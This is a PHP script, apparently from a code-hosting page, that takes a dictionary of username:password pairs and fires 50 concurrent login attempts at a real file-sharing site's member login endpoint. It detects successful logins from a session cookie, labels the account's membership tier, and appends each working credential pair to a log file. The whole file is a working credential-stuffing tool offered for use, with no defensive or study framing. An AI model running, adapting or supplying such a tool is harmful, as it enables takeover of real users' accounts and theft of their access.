1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95
| <?php
error_reporting(0); ini_set('memory_limit',-1);
function autoiconv($str,$type = "gb2312//ignore"){ $utf32_big_endian_bom = chr(0x00) . chr(0x00) . chr(0xfe) . chr(0xff); $utf32_little_endian_bom = chr(0xff) . chr(0xfe) . chr(0x00) . chr(0x00); $utf16_big_endian_bom = chr(0xfe) . chr(0xff); $utf16_little_endian_bom = chr(0xff) . chr(0xfe); $utf8_bom = chr(0xef) . chr(0xbb) . chr(0xbf); $first2 = substr($str, 0, 2); $first3 = substr($str, 0, 3); $first4 = substr($str, 0, 3); if ($first3 == $utf8_bom) $icon = 'utf-8'; elseif ($first4 == $utf32_big_endian_bom) $icon = 'utf-32be'; elseif ($first4 == $utf32_little_endian_bom) $icon = 'utf-32le'; elseif ($first2 == $utf16_big_endian_bom) $icon = 'utf-16be'; elseif ($first2 == $utf16_little_endian_bom) $icon = 'utf-16le'; else { $icon = 'ascii'; return $str;} return iconv($icon,$type,$str); }
require("./include/RollingCurl.php");
$threads=50; $timeout=10; $dic_file='./dict/user.txt'; $dict=file($dic_file); $count=count($dict); echo '[info] 载入字典文件:'.$dic_file.PHP_EOL ; echo '[info] 加载 '.$count.'行字典'.PHP_EOL ; echo '[info] 线程:'.$threads.PHP_EOL ; echo '[info] 超时设定:'.$timeout.PHP_EOL ; usleep(500); echo '[info] 程序初始化中...'.PHP_EOL ; function request_callback($response, $info, $request) { $p= $request->post_data; preg_match('/module\=member&action\=validateLogin&username\=(.*?)&password\=(.*?)&remember\=on/',$p,$mm); $user=$mm[1]; $pass=$mm[2];
if(!preg_match('/^Set-Cookie:[\s]+membership=(\d{1}).*?;+/mi', $response,$match)) {
echo '[!] 登录失败 '.'用户名:'.str_pad($user,18," ").'密码:'.str_pad($pass,18," ").PHP_EOL; }else{ $id=$match[1]; $id= intval(trim($id)); if($id==1){$m='普通会员';} else if($id==2){$m='高级会员';} else{ $m='未知情况';} $str= '[*] 登录成功 '.'用户名:'.str_pad($user,18," ").'密码:'.str_pad($pass,18," ").'权限:'.$m.PHP_EOL; file_put_contents('./log/logins.txt',$str,FILE_APPEND); echo $str; }
}
$rc = new RollingCurl("request_callback");
$rc->window_size = $threads; $rc->timeout = $timeout; $method='POST';
$u=array(''); $p=array(''); $url='http://www.yunfile.com/view';
foreach ($dict as $k=> $s){ list($u[$k], $p[$k]) = explode(':',trim(autoiconv($s))); $username=$u[$k]; $password=$p[$k]; $username; $post_data='module=member&action=validateLogin&username='.$username.'&password='.$password.'&remember=on'; $request = new RollingCurlRequest($url,$method,$post_data); $request->options = array(CURLOPT_FOLLOWLOCATION => 0, CURLOPT_NOBODY => 1, CURLOPT_HEADER => 1 ); $rc->add($request);
} $rc->execute();
?>
|